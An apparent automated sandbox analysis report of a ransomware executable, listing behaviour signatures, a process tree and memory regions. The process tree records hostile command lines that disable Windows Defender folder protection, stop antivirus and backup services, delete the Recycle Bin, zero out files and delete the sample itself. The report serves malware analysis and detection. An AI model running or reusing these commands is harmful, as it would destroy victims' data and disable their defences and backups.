Analysis

  • max time kernel
    148s
  • max time network
    115s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    12/08/2026, 11:56

General

  • Target
    5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  • Size 91KB
  • Sample260812-n35hsatthw
  • SHA256 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Renames multiple (63) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Downloads MZ/PE file 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Kills process with taskkill 3 IoCs
  • Modifies registry class 1 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
    "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
    1⤵
    • Downloads MZ/PE file
    • Creates a file in the Startup directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3664
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5416
    • C:\Windows\SysWOW64\net.exe
      "net.exe" stop avpsus /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2564
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop avpsus /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4104
    • C:\Windows\SysWOW64\net.exe
      "net.exe" stop McAfeeDLPAgentService /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:880
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
        3⤵
          PID:3480
      • C:\Windows\SysWOW64\net.exe
        "net.exe" stop mfewc /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop mfewc /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2688
      • C:\Windows\SysWOW64\net.exe
        "net.exe" stop BMR Boot Service /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4648
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop BMR Boot Service /y
          3⤵
            PID:2884
        • C:\Windows\SysWOW64\net.exe
          "net.exe" stop NetBackup BMR MTFTP Service /y
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4948
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
            3⤵
              PID:5576
          • C:\Windows\SysWOW64\net.exe
            "net.exe" stop DefWatch /y
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:5552
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop DefWatch /y
              3⤵
              • System Location Discovery: System Language Discovery
              PID:4972
          • C:\Windows\SysWOW64\net.exe
            "net.exe" stop ccEvtMgr /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2756
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop ccEvtMgr /y
              3⤵
                PID:4644
            • C:\Windows\SysWOW64\net.exe
              "net.exe" stop ccSetMgr /y
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1140
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop ccSetMgr /y
                3⤵
                • System Location Discovery: System Language Discovery
                PID:4336
            • C:\Windows\SysWOW64\net.exe
              "net.exe" stop SavRoam /y
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4868
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop SavRoam /y
                3⤵
                • System Location Discovery: System Language Discovery
                PID:1940
            • C:\Windows\SysWOW64\net.exe
              "net.exe" stop RTVscan /y
              2⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5004
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop RTVscan /y
                3⤵
                • System Location Discovery: System Language Discovery
                PID:832
            • C:\Windows\SysWOW64\net.exe
              "net.exe" stop QBFCService /y
              2⤵
              • System Location Discovery: System Language Discovery
              PID:1968
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop QBFCService /y
                3⤵
                • System Location Discovery: System Language Discovery
                PID:2928
            • C:\Windows\SysWOW64\net.exe
              "net.exe" stop QBIDPService /y
              2⤵
                PID:2992
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop QBIDPService /y
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:5356
              • C:\Windows\SysWOW64\net.exe
                "net.exe" stop Intuit.QuickBooks.FCS /y
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3260
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
                  3⤵
                    PID:2180
                • C:\Windows\SysWOW64\net.exe
                  "net.exe" stop QBCFMonitorService /y
                  2⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:1828
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop QBCFMonitorService /y
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3528
                • C:\Windows\SysWOW64\net.exe
                  "net.exe" stop YooBackup /y
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1856
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop YooBackup /y
                    3⤵
                      PID:2424
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop YooIT /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:3852
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop YooIT /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:4712
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop zhudongfangyu /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:2448
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop zhudongfangyu /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:3388
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop stc_raw_agent /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:728
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop stc_raw_agent /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2172
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop VSNAPVSS /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:2512
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop VSNAPVSS /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:1344
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop VeeamTransportSvc /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:5116
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop VeeamTransportSvc /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:5616
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop VeeamDeploymentService /y
                    2⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:6124
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop VeeamDeploymentService /y
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2984
                  • C:\Windows\SysWOW64\net.exe
                    "net.exe" stop VeeamNFSSvc /y
                    2⤵
                      PID:4744
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop VeeamNFSSvc /y
                        3⤵
                          PID:3036
                      • C:\Windows\SysWOW64\net.exe
                        "net.exe" stop veeam /y
                        2⤵
                          PID:4856
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop veeam /y
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:260
                        • C:\Windows\SysWOW64\net.exe
                          "net.exe" stop PDVFSService /y
                          2⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:1220
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop PDVFSService /y
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:1512
                        • C:\Windows\SysWOW64\net.exe
                          "net.exe" stop BackupExecVSSProvider /y
                          2⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:1092
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop BackupExecVSSProvider /y
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:2144
                        • C:\Windows\SysWOW64\net.exe
                          "net.exe" stop BackupExecAgentAccelerator /y
                          2⤵
                            PID:4144
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:5336
                          • C:\Windows\SysWOW64\net.exe
                            "net.exe" stop BackupExecAgentBrowser /y
                            2⤵
                            • System Location Discovery: System Language Discovery
                            PID:2028
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:52
                          • C:\Windows\SysWOW64\net.exe
                            "net.exe" stop BackupExecDiveciMediaService /y
                            2⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:2912
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:5508
                          • C:\Windows\SysWOW64\net.exe
                            "net.exe" stop BackupExecJobEngine /y
                            2⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of WriteProcessMemory
                            PID:1324
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop BackupExecJobEngine /y
                              3⤵
                                PID:4908
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop BackupExecManagementService /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:5844
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop BackupExecManagementService /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:1852
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop BackupExecRPCService /y
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2744
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop BackupExecRPCService /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:3220
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop AcrSch2Svc /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              • Suspicious use of WriteProcessMemory
                              PID:3512
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop AcrSch2Svc /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:3688
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop AcronisAgent /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:4356
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop AcronisAgent /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:5852
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop CASAD2DWebSvc /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:4608
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop CASAD2DWebSvc /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:3416
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop CAARCUpdateSvc /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:4200
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop CAARCUpdateSvc /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:5344
                            • C:\Windows\SysWOW64\net.exe
                              "net.exe" stop sophos /y
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:1244
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop sophos /y
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:2456
                            • C:\Windows\SysWOW64\sc.exe
                              "sc.exe" config SQLTELEMETRY start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:4468
                            • C:\Windows\SysWOW64\sc.exe
                              "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                              2⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:3308
                            • C:\Windows\SysWOW64\sc.exe
                              "sc.exe" config SQLWriter start= disabled
                              2⤵
                              • Launches sc.exe
                              • System Location Discovery: System Language Discovery
                              PID:2088
                            • C:\Windows\SysWOW64\sc.exe
                              "sc.exe" config SstpSvc start= disabled
                              2⤵
                              • Launches sc.exe
                              PID:5060
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM mspub.exe /F
                              2⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3508
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM mydesktopqos.exe /F
                              2⤵
                              • System Location Discovery: System Language Discovery
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1176
                            • C:\Windows\SysWOW64\taskkill.exe
                              "taskkill.exe" /IM mydesktopservice.exe /F
                              2⤵
                              • System Location Discovery: System Language Discovery
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5620
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
                              2⤵
                              • Executes a command shell one-liner
                              PID:4208
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp6335.bat
                              2⤵
                              • Executes a command shell one-liner
                              PID:3832
                            • C:\Windows\SysWOW64\notepad.exe
                              "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
                              2⤵
                              • Modifies registry class
                              • Opens file in notepad (likely ransom note)
                              PID:4892
                            • C:\Windows\SysWOW64\cmd.exe
                              "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                              2⤵
                              • Executes a command shell one-liner
                              • System Network Configuration Discovery: Internet Connection Discovery
                              PID:3084
                              • C:\Windows\SysWOW64\PING.EXE
                                ping 127.0.0.7 -n 3
                                3⤵
                                • System Network Configuration Discovery: Internet Connection Discovery
                                • Runs ping.exe
                                PID:2984
                              • C:\Windows\SysWOW64\fsutil.exe
                                fsutil file setZeroData offset=0 length=524288 “%s”
                                3⤵
                                • System Location Discovery: System Language Discovery
                                • Enumerates system info in registry
                                PID:3740
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
                              2⤵
                              • Executes a command shell one-liner
                              PID:5196
                              • C:\Windows\SysWOW64\choice.exe
                                choice /C Y /N /D Y /T 3
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:908
                          • C:\Windows\system32\NOTEPAD.EXE
                            "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\HOW_TO_DECYPHER_FILES.txt
                            1⤵
                            • Opens file in notepad (likely ransom note)
                            PID:6452
                          • C:\Windows\system32\wbem\wmiprvse.exe
                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                            1⤵
                              PID:2688

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

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                                  Downloads

                                  HOW_TO_DECYPHER_FILES.txt

                                  • Path C:\Users\Admin\AppData\Local\Temp\HOW_TO_DECYPHER_FILES.txt
                                  • Size 1KB
                                  • SHA256 406922da156e8152c8fa4df15b6464bb886899bb90e6bbd43723225168a55962
                                  • MD5 SHA1 SHA512 TLSH

                                  memory/3664-1-0x0000000000B30000-0x0000000000B4C000-memory.dmp

                                  memory/3664-2-0x0000000074460000-0x0000000074C1C000-memory.dmp

                                  memory/3664-141-0x0000000074460000-0x0000000074C1C000-memory.dmp

                                  memory/3664-129-0x0000000074472000-0x0000000074473000-memory.dmp

                                  memory/3664-8-0x0000000006DB0000-0x0000000006E16000-memory.dmp

                                  memory/3664-0-0x0000000074472000-0x0000000074473000-memory.dmp

                                  memory/5416-16-0x0000000004A90000-0x0000000004AAE000-memory.dmp

                                  memory/5416-55-0x0000000006210000-0x0000000006230000-memory.dmp

                                  memory/5416-13-0x0000000005810000-0x0000000005876000-memory.dmp

                                  memory/5416-12-0x0000000005770000-0x0000000005792000-memory.dmp

                                  memory/5416-23-0x00000000060B0000-0x00000000060FC000-memory.dmp

                                  memory/5416-49-0x0000000006240000-0x0000000006276000-memory.dmp

                                  memory/5416-52-0x000000006FD70000-0x000000006FDBC000-memory.dmp

                                  memory/5416-14-0x00000000058F0000-0x0000000005C4B000-memory.dmp

                                  memory/5416-57-0x0000000006E60000-0x0000000006F03000-memory.dmp

                                  memory/5416-62-0x0000000007600000-0x0000000007C7C000-memory.dmp

                                  memory/5416-64-0x0000000006FC0000-0x0000000006FDA000-memory.dmp

                                  memory/5416-68-0x0000000007030000-0x000000000703A000-memory.dmp

                                  memory/5416-72-0x0000000007230000-0x00000000072C6000-memory.dmp

                                  memory/5416-4-0x0000000002410000-0x0000000002446000-memory.dmp

                                  memory/5416-5-0x0000000005060000-0x00000000056AA000-memory.dmp